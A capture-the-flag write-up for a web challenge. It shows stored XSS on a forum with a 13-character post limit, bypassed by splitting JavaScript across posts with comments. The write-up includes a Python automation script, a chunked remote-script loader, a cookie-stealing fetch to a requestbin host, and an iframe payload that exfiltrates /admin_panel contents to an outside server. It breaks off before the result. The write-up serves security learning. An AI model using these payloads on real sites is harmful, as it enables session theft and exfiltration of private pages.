Web task

In this task, we are provided with url: https://bskweb2020.0x04.net/. This site allows is some kind of forum - it lets us create threads, and then post messages in them. We can also report the thread to admin - which is a pretty strong hint that this is a XSS challenge.

Thread creation:

Thread with 2 messages:

Message length is very limited. There is info on main page: "Posts are strictly limited to 13 characters (and that includes HTML formatting automatically added by the editor)".

Messages are sent using POST requests. Body of request is in format content=contents_of_message. The editor wraps our message in HTML <p> tags, so message test will be sent as <p>test</p>. This is something that immediately seems like a great place for XSS. And indeed, changing payload to content=<script> inserts script tag into DOM and breaks the site.

Now, there is one thing that prevents us from executing arbitrary js: message length limit. But it is pretty easy to bypass. We can split our js payload into multiple parts using comments /* */. For example, first message may be <script>/*, second one */alert(1)/* and third one */</script>. Sending those 3 messages results in expected alert. After reserving 4 characters for closing and opening comment we are left with 9 chars of js per message, which is enough to execute pretty much arbitrary code. To make my life easier, I prepared small snippet which dynamically added <script src=mysite.example/mypayload.js> tag to DOM, letting me execute arbitrary js without any hassle.

Here is the script that creates thread, which upon visiting loads our payload.js:

#!/usr/bin/env python

import requests
import re

BASE_URL = 'https://bskweb2020.0x04.net'

def get_payload():
    text = open('payload.js').read().split('\n')
    for line in text:
        line = line.strip()
    text = ''.join(text)
    text = text.replace('$', '/*$*/')
    lines = text.split('$')
    return lines

def create_thread():
    r = requests.post('https://bskweb2020.0x04.net/create_thread', data={'title': 'ArmiaPrezesa'}, allow_redirects=False)
    return re.match(BASE_URL + '/thread/(\w+)', r._next.url).group(1)

def send_element(thread_id, data):
    r = requests.post(f'https://bskweb2020.0x04.net/thread/{thread_id}', data={'content': data})

def main():
    thread_id = create_thread()
    payload = get_payload()
    for element in payload:
        if len(element) > 13:
            print(f'Too long element: {element}')
            exit(1)
    for element in payload:
        print(element)
    for element in payload:
        send_element(thread_id, element)
    print(f'Payload send! url: {BASE_URL}/thread/{thread_id}')

if  __name__ == '__main__':
    main()

Here is the payload used by python script. The only trick we need to encode it in blocks with length <= 9 is accessing object fields with ['name'] instead of .name.

<script>$
var s=$document$['cre'+$'ate'+$'Ele'+$'ment']($'script'$);$
s$['set'+$'Attrib'+$'ute']$('src',$'https:'+$'//armia'$+'prezes'$+'a.pl/p'$+'ayload'$+'.js'$);$
document$['body']$['append'$+'Child']$(s);$
</script>

Now, all that's left is to find the flag. First attempt was of coure stealing admin cookies with payload such as: fetch('https://mysite.com/requestbin_endpoint/bin_id?data=' + btoa(document.cookie)). But unfortunately, admin has no cookies (or at least no cookies without httpOnly flag).

Request from admin, as you can see data parameter is empty:

To get the flag, we must first notice the existence of /admin_panel endpoint. There are at least 2 ways to do that:

  1. If you look at Referer header in bot's request, it points to that exact endpoint.
  2. Scan the site with tool like https://github.com/maurosoria/dirsearch, the default list can locate this url.

Ok, so we probably need contents of /admin_panel. If we look at headers of response from any endpoint, we can see that X-Frame-Options header is set to SAMEORIGIN - which means we can almost surely load /admin_panel in iframe and access it's content.

Payload that extracts /admin_panel and sends content to my server:

function prepareFrame() {
        var iframe = document.createElement("iframe");
        iframe.setAttribute("src", "/admin_panel");
        iframe.onload = function() {
            console.log(iframe.contentWindow.document.documentElement.outerHTML);
            fetch('https://mysite.com/requestbin_endpoint/bin_id', {method: 'POST', body: btoa(iframe.contentWindow.document.documentElement.outerHTML)});
        };
        document.body.appendChild(iframe);
}
prepareFrame();

As expected, admin sent us request with pretty long payload: